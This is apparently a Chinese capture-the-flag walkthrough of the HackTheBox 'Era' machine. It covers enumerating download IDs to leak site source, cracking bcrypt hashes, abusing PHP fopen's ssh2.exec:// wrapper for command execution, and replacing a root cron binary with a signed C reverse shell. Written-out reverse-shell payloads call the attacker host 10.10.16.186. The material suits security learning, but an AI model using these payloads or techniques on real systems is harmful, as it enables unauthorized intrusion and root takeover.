HackTheBox-Era-靶场复盘-106

一、靶场详情

靶场名称:Era

靶场地址:

https://app.hackthebox.com/machines/Era

靶场环境连接说明:
演示为 HackTheBox 平台在线靶机,需通过 OpenVPN 客户端连接平台提供的 VPN 环境才能访问靶机。注意:平台新发布的靶机可以免费练习,而历史靶机则需要开通会员才能使用,还需要注意连接 HackTheBox 平台 VPN 需要挂载代理。

在这里插入图片描述

二、思路总结

突破边界(获取用户旗帜):

file 子域目录枚举 --> register.php 注册页面,注册登录后台 --> 上传文件,下载文件,枚举下载 ID,得到网站源码 --> 网站源码数据库文件,得到管理员用户名和 yuri、eric 用户密码 --> 普通用户后台重置管理员登录安全问题,登录管理员后台 --> 代码审计,download.php 管理员测试接口 fopen 函数可使用 ssh2 伪协议实现任意命令执行 --> 获取 yuri、eric 用户权限

Important

代码审计、php fopen 函数执行 ssh2 伪协议

权限提升(获取管理员旗帜):

eric 用户 shell(属于 devs 组) --> 发现/opt/AV/periodic-checks/monitor 程序权限问题,pspy 发现定时任务 --> 替换 monitor 程序,查看日志文件 --> objcopy 提取 monitor 程序特征码,编译 c 语言反弹 shell,objcopy 导入提取的特征码 --> 上传反弹 shell --> root 用户权限

Important

objcopy 提取导入可执行程序特征码

三、靶场攻击演示

3.1 靶场信息收集

使用 nmap 对靶机进行端口扫描。

TCP 端口扫描:

sudo nmap -p- 10.129.239.35 --min-rate=2000

PORT   STATE SERVICE
21/tcp open  ftp
80/tcp open  http

UDP 端口扫描:未发现可利用的端口。

sudo nmap -p- -sU 10.129.239.35 --min-rate=2000 --open

All 65535 scanned ports on 10.129.237.233 are in ignored states.

继续使用 nmap 对已开放端口的服务进行信息收集。

TCP 服务信息搜集:

sudo nmap -p21,80 -sCV 10.129.239.35

PORT   STATE SERVICE VERSION
21/tcp open  ftp     vsftpd 3.0.5
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://era.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OSs: Unix, Linux; CPE: cpe:/o:linux:linux_kernel

由此得出结论:

系统为 Linux 环境,开放有 HTTP、FTP 服务,接下来进行逐个端口排查。

3.2 渗透测试突破边界(获取用户旗帜)

3.2.1 子域名枚举

根据 nmap 扫描结果,需在 kali 配置靶机域名解析。

echo "10.129.239.35\tera.htb" | sudo tee -a /etc/hosts

访问:http://tera.htb,页面未发现有价值信息,也不存在交互功能模块。

在这里插入图片描述

使用 ffuf 枚举网站子域名,发现 file 子域系统。

ffuf -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-20000.txt -u "http://era.htb" -H "host: FUZZ.era.htb" -fs 154

在这里插入图片描述
将 file 子域名添加至靶机 hosts 文件。

echo "10.129.239.35\tfile.era.htb" | sudo tee -a /etc/hosts

访问子域名系统,发现系统存在多个交互模块,登录模块可使用账号密码和用户安全问题登录,查看和上传文件模块仅允许登录后访问。

在这里插入图片描述
3.2.2 目录遍历、后台下载接口文件枚举

测试过程未发现可利用漏洞,紧接着使用 feroxbuster 进行目录枚举,发现系统存在 register.php 注册页面。

feroxbuster -u http://file.era.htb/ --limit-bars 4 --no-state --filter-status 404 -x php,html

在这里插入图片描述

在注册页面注册任意用户登录后台。

在这里插入图片描述
在这里插入图片描述
测试后台上传功能时,成功上传后系统会显示下载链接,访问下载链接可下载对应文件,当更改 id 再次访问时,系统提示不存在该文件。

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述
通过更换不同id值,尝试枚举历史上传文件。首先使用 python 输出一段 1-10000 数字列表,将其保存输出保存至文本中。

for i in range(0,10000):
print(i)

python3 py.py > id

使用 ffuf 枚举历史文件,注意:需要添加 cookie,可得到两个下载链接。

 ffuf -w id -u "http://file.era.htb/download.php?id=FUZZ&d=true" -H "Cookie: PHPSESSID=4kupfnveen5a6077h2kmo5oau1" -fs 7686 -v

在这里插入图片描述
访问下载链接将文件下载至本地。

http://file.era.htb/download.php?id=54&d=true
http://file.era.htb/download.php?id=150&d=true

在这里插入图片描述
3.2.3 网站源码数据库文件泄漏用户名、密码,hashcat 破解

解压下载的 zip 文件,其中 site-backup-30-08-24.zip 为网站源码,signing.zip 为证书私钥文件,并在源码目录发现了 sqlite 数据库文件。

在这里插入图片描述
使用 sqlite3 连接数据库,发现了 user 和 files 表,其中 user 表存储了用户名和加密的密码,files 表存储了上传的文件。

sqlite3 filedb.sqlite
select * from users;
select * from files;

在这里插入图片描述

将用户名和密码保存至文本中,使用 hashcat 破解,成功破解了 eric 和 yuri 用户密码,其余未能破解。

admin_ef01cab31aa:$2y$10$wDbohsUaezf74d3sMNRPi.o93wDxJqphM2m0VVUp41If6WrYr.QPC
eric:$2y$10$S9EOSDqF1RzNUvyVj7OtJ.mskgP1spN3g2dneU.D.ABQLhSV2Qvxm
veronica:$2y$10$xQmS7JL8UT4B3jAYK7jsNeZ4I.YqaFFnZNA/2GCxLveQ805kuQGOK
yuri:$2b$12$HkRKUdjjOdf2WuTXovkHIOXwVDfSrgCqqHPpE37uWejRqUWqwEL2.
john:$2a$10$iccCEz6.5.W2p7CSBOr3ReaOqyNmINMH1LaqeQaL22a1T1V/IddE6
ethan:$2a$10$PkV/LAd07ftxVzBHhrpgcOwD3G1omX4Dk2Y56Tv9DpuUV/dh/a1wC


hashcat hashs ~/Desktop/rockyou.txt -m 3200 --username

在这里插入图片描述

eric:america
yuri:mustang

使用破解的密码登录 web 系统,功能模块和注册的普通用户基本一致,利用该密码登录系统 ftp 服务也没有有价值发现,接下来继续分析网站源码文件。

3.2.4 重置管理员安全问题,代码审计,利用 download.php fopen 模块+SSH2 伪协议进行任意命令执行

在 download.php 文件发现利用管理员权限可使用 php fopen 函数读取文件。

在这里插入图片描述
查阅 php 官方文档,发现 fopen 函数支持多个伪协议。

https://www.php.net/manual/zh/function.fopen.php
https://www.php.net/manual/zh/wrappers.php
https://www.php.net/manual/en/wrappers.ssh2.php

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

我们上面已经得到了两个用户密码,如果可以得到 web 管理员权限,可尝试利用 download.php 文件使用 php ssh2 伪协议执行系统命令。

web 后台除了使用用户名密码登录还可通过安全问题登录,而注册登录的用户后台可修改任意用户安全问题,在 sqlite 数据库得知管理员用户为 admin_ef01cab31aa,可使用注册的用户修改管理员安全问题。

在这里插入图片描述
使用修改后的管理员安全问题成功登录后台。

在这里插入图片描述

在这里插入图片描述
分析 download.php 源码参数,需要满足以下要求:

1、id 参数需在数据库可查询到:

if (!isset($_GET['id'])) {
header('location: index.php'); // user loaded without requesting file by id
die();
}

if (!is_numeric($_GET['id'])) {
header('location: index.php'); // user requested non-numeric (invalid) file id
die();
}

$reqFile = $_GET['id'];

$fetched = contactDB("SELECT * FROM files WHERE fileid='$reqFile';", 1);

$realFile = (count($fetched) != 0); // Set realFile to true if we found the file id, false if we didn't find it

if (!$realFile) {
echodeliverTop("Era - Download");

echodeliverMiddle("File Not Found", "The file you requested doesn't exist on this server", "");

echodeliverBottom();

2、dl 参数值为 true:

if ($_GET['dl'] === "true")

3、show 参数值为 true 且$_SESSION[‘erauser’]值为 1:

// BETA (Currently only available to the admin) - Showcase file instead of downloading it
elseif ($_GET['show'] === "true" && $_SESSION['erauser'] === 1)

# 根据备注这里判断需要管理员权限

4、format 参数包含://,提示伪协议:

if (strpos($format, '://') !== false)

以上条件均满足后,会对 format 值和 id 查询到文件名进行拼接,然后使用 fopen 打开,可构建如下 payload 进行命令执行,注意使用管理员 session。

GET /download.php?id=150&show=true&format=ssh2.exec://eric:america@127.0.0.1:22/bash+-      i+>%26+/dev/tcp/10.10.16.186/1234+0>%261; HTTP/1.1
Host: file.era.htb
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/138.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://file.era.htb/download.php?id=9266
Accept-Encoding: gzip, deflate, br
Accept-Language: zh,zh-CN;q=0.9
Cookie: PHPSESSID=4kupfnveen5a6077h2kmo5oau1
Connection: keep-alive

在 kali 使用 nc 监听 1234 端口,发送以上 payload 成功获取到 eric 用户 shell,这里也可以尝试另外一个用户,也可以成功获取反弹 shell。

# kali
nc -lvnp 1234

在这里插入图片描述

在这里插入图片描述
为了方便操作,将 shell 提升为交互式 shell。

bash
python3 -c 'import pty; pty.spawn("/bin/bash")'
Control + Z
stty raw -echo;fg
export SHELL=/bin/bash
export TERM=screen
stty rows 33 columns 157

在这里插入图片描述

3.3 提权获取系统最高权限(获取管理员旗帜)

3.3.1 Monitor 程序替换提权至 root 权限

检索系统 sudo、suid 等权限未发现可提权信息,继续排查文件目录时,在/opt/AV/periodic-checks 目录发现可疑文件。可得到如下分析结果:

• 当前用户为:eric,属于 devs 组
• devs 组对/opt/AV/periodic-checks 目录具有读写权限
• /opt/AV/periodic-checks 目录的 monitor 可执行程序属于 root 用户和 devs 组,该文件的所属用户和组均对它具有读写权限。

在这里插入图片描述

上传 pspy 分析系统进程,发现系统定时执行/opt/AV/periodic-checks/monitor 程序,由于当前用户对该程序具有读写权限,可尝试替换该程序实现反弹 shell。

在这里插入图片描述

尝试直接修改 monitor 程序为反弹 shell 指令,日志中 objcopy 提示格式不满足,可能存在校验,需匹配文件特征码。

echo '/bin/bash -i >& /dev/tcp/10.10.16.186/1234 0>&1' > /opt/AV/periodic-checks/monitor

在这里插入图片描述
将 monitor 下载至本地,使用 objcopy 提取特征码,然后在 revshells 网站复制 C 语言的反弹 shell,使用 gcc 编译,最后利用 objcopy 写入提取的特征码。

# 文件可通过nc工具下载

# 提取特征码
objcopy --dump-section .text_sig=sig monitor.back

在这里插入图片描述

# 在线shell生成网站
https://www.revshells.com/

在这里插入图片描述

编译反弹 shell 并写入特征码。

gcc shell.c -o shell
objcopy --add-section .text_sig=sig shell

在这里插入图片描述

kali 使用 nc 监听 1234 端口,上传 shell 文件至靶机,注意保存为 monitor。

# kali
nc -lvnp 1234
goshs -p 80

# shell
wget http://10.10.16.186/shell -O monitor

在这里插入图片描述

成功得到 root 用户 shell。

在这里插入图片描述
3.3.2 管理员旗帜获取

在这里插入图片描述

文章来源 公众号F0ne

题外话

黑客&网络安全如何学习

如果你也对网路安全技术感兴趣,但是又没有合适的学习资源,我可以把私藏的网安学习资料免费共享给你们,来看看有哪些东西。

网上虽然也有很多的学习资源,但基本上都残缺不全的,这是我们和网安大厂360共同研发的的网安视频教程,内容涵盖了入门必备的操作系统、计算机网络和编程语言等初级知识,而且包含了中级的各种渗透技术,并且还有后期的CTF对抗、区块链安全等高阶技术。总共200多节视频,100多本网安电子书,最新学习路线图和工具安装包都有,不用担心学不全。
在这里插入图片描述

🐵这些东西我都可以免费分享给大家,需要的可以点这里自取👉:网安入门到进阶资源

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值